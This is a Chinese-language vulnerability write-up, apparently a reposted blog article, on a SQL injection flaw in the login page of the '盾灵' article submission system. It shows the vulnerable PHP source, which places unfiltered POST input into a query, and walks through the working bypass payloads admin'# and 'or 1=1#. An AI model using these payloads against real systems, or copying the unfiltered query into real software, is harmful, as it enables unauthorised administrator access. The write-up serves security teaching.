盾灵原创文章投稿系统后台绕过漏洞
程序员文章站
2022-03-08 12:15:57
...
来到登陆地址,login.php,我们看下这个文件的源码。
<?php
require '../config.php';
$adminname = $_POST['adminname'];
$adminpass = $_POST['adminpass'];
$adminpass .= "Axphp.com";
$adminpass = md5($adminpass);
$adminsql = "select * from axphp_admin where adminname='$adminname' and adminpass='$adminpass'";
$adminery = mysql_query($adminsql, $config);
$adminnum = mysql_num_rows($adminery);
if ($adminnum == "1") {
setcookie("admin", "Y", time() + 3600, '/');
setcookie("admin_name", $adminname, time() + 3600, '/');
header("location:axadmin.php");
} else {
header("location:axphp.php");
}
?>
$adminsql = "select * from axphp_admin where adminname='$adminname' and adminpass='$adminpass'";
我们发现没有做任何过滤
我们构造一下sql语句绕过后台登陆
成功登陆后台
我们来看一下我们的payload admin’# 为什么能绕过后台登陆:
$adminsql = "select * from axphp_admin where adminname='$adminname' and adminpass='$adminpass'";
$adminsql = "select * from axphp_admin where adminname='admin'#' and adminpass='$adminpass'";//我们构造的sql语句
‘闭合了前面的‘,#是注释,#后面的sql语句将不会执行,会执行的sql语句:
select * from axphp_admin where adminname='admin'
因为我们的账号确实是admin,所以成功登陆。
举一反三,假如我们不知道账号也不知道密码怎么构造sql语句绕过后台登陆呢?
这里先要知道一个知识点:or,只要两个条件其中一个为真即为真,举个例子:
1+1=1 or 1+1=2,为真,没毛病~~
我们来构造一下sql语句:
我们来看一下我们的payload ‘or 1=1#为什么能绕过后台登陆:
(#后面的sql语句将不会执行,会执行的sql语句)
select * from axphp_admin where adminname=''or 1=1
‘ ’ or 1=1为真
所以即使不知道账号密码我们也可以成功登陆